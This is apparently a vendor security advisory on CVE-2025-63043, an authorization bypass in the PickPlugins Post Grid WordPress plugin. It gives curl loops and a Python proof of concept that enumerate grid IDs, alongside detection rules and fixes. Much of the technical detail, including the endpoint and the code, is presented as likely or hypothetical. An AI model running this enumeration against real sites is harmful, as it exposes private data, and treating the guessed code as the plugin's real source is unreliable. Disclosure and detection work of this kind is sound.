CVE-2025-63043

Executive Summary

CVE-2025-63043 is an Authorization Bypass Through User-Controlled Key vulnerability (CWE-639) affecting the PickPlugins Post Grid and Gutenberg Blocks WordPress plugin, versions up to and including 2.3.23. This flaw allows an unauthenticated attacker to manipulate a user-controlled key (likely a post ID, nonce, or similar parameter) to access or modify protected resources, bypassing the intended access control security levels. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

The CVSS v3.1 base score is 5.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, indicating network exploitability, low attack complexity, no privileges required, no user interaction, and a low confidentiality impact. The EPSS score is 0.0%, suggesting low exploitation likelihood in the wild, but the lack of a patch makes this a significant risk for unmaintained installations.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:

• No official patch is available from the vendor (PickPlugins).
• The plugin may be bundled in themes or third-party distributions, increasing the attack surface.
• Users relying on automatic updates are unprotected until a fix is released.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low confidentiality (e.g., reading private post data or metadata). No integrity or availability impact is present.

Deep Dive & Mechanics

The vulnerability stems from Insecure Direct Object Reference (IDOR) in the post-grid plugin. The plugin likely exposes a REST API endpoint or AJAX handler that accepts a user-controlled key (e.g., post_id, grid_id, or nonce) to retrieve or modify grid data. The application fails to verify that the requesting user has permission to access the resource associated with that key.

Attack Flow:

1. An attacker identifies a vulnerable endpoint, such as /wp-admin/admin-ajax.php?action=post_grid_get_data&grid_id=123.
2. The attacker iterates through grid_id values (e.g., 1, 2, 3...) to access private or draft grids.
3. The plugin returns sensitive data (e.g., post titles, content, or metadata) without checking if the user is authenticated or authorized.

Root Cause: The plugin uses a user-supplied parameter directly in a database query or function call without validating ownership or capabilities. For example:

$grid_id = $_GET['grid_id'];
$grid_data = get_post_meta($grid_id, 'post_grid_data', true);
// No capability check before returning data

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.3.23):

// In a file like post-grid/includes/class-post-grid-ajax.php
add_action('wp_ajax_nopriv_post_grid_get_data', 'post_grid_get_data');
function post_grid_get_data() {
    $grid_id = intval($_GET['grid_id']);
    $grid_data = get_post_meta($grid_id, 'post_grid_data', true);
    wp_send_json_success($grid_data);
}

Patched Code (Hypothetical):

add_action('wp_ajax_nopriv_post_grid_get_data', 'post_grid_get_data');
function post_grid_get_data() {
    // Verify nonce for unauthenticated users
    if (!wp_verify_nonce($_GET['_wpnonce'], 'post_grid_nonce')) {
        wp_die('Security check failed');
    }
    $grid_id = intval($_GET['grid_id']);
    // Check if the post is published and user has permission
    $post = get_post($grid_id);
    if (!$post || $post->post_status !== 'publish' || !current_user_can('read_post', $grid_id)) {
        wp_send_json_error('Access denied');
    }
    $grid_data = get_post_meta($grid_id, 'post_grid_data', true);
    wp_send_json_success($grid_data);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin (<= 2.3.23) installed and active.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint by scanning for AJAX actions:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=post_grid_get_data&grid_id=1"
   

2. If the response contains JSON data (e.g., {"success":true,"data":{...}}), the endpoint is vulnerable.
3. Brute-force grid_id values to enumerate private or draft grids:

   for i in $(seq 1 100); do
       curl -s "http://target.com/wp-admin/admin-ajax.php?action=post_grid_get_data&grid_id=$i"
   done
   

4. Extract sensitive information from the returned JSON.

Proof-of-Concept (PoC):

import requests
import sys

target = sys.argv[1]
for grid_id in range(1, 101):
    url = f"{target}/wp-admin/admin-ajax.php?action=post_grid_get_data&grid_id={grid_id}"
    r = requests.get(url)
    if r.status_code == 200 and r.json().get('success'):
        print(f"[+] Grid {grid_id} accessible: {r.text}")

Blue Team (Detection & Defense)

Detection:

• Monitor for repeated requests to /wp-admin/admin-ajax.php with action=post_grid_get_data and varying grid_id parameters.
• Alert on anomalous patterns (e.g., >10 requests in 1 minute from a single IP).

Defense:

• Immediate: Disable the plugin if not critical.
• WAF Rule: Block requests to admin-ajax.php with action=post_grid_get_data from unauthenticated users.
• Code Fix: Implement capability checks and nonce verification as shown in the patched code.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_63043_WordPress_Plugin {
    meta:
        description = "Detects exploitation attempts for CVE-2025-63043 in PickPlugins Post Grid"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-63043"
    strings:
        $ajax_action = "action=post_grid_get_data"
        $grid_param = "grid_id="
        $wp_admin = "/wp-admin/admin-ajax.php"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-63043 - Authorization Bypass in PickPlugins Post Grid
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts for CVE-2025-63043 via admin-ajax.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/wp-admin/admin-ajax.php'
            - 'action=post_grid_get_data'
            - 'grid_id='
    condition: selection
falsepositives:
    - Legitimate plugin usage by authorized users
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63043 - PickPlugins Post Grid Authorization Bypass"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=post_grid_get_data"; http_uri; content:"grid_id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential for business operations.
2. Apply a virtual patch using a WAF to block unauthenticated requests to admin-ajax.php with action=post_grid_get_data.
3. Monitor logs for exploitation attempts using the provided Sigma/Suricata rules.

Long-Term Fix:

• Vendor Patch: Await an official update from PickPlugins. If none is forthcoming, consider forking the plugin and applying the code fix shown in the patched code section.
• Alternative Plugin: Migrate to a maintained alternative like "Post Grid" by PickPlugins (if updated) or "Grid Builder" by another vendor.

Workaround:

• Add the following to .htaccess to block unauthenticated access:

  RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php
  RewriteCond %{QUERY_STRING} action=post_grid_get_data
  RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers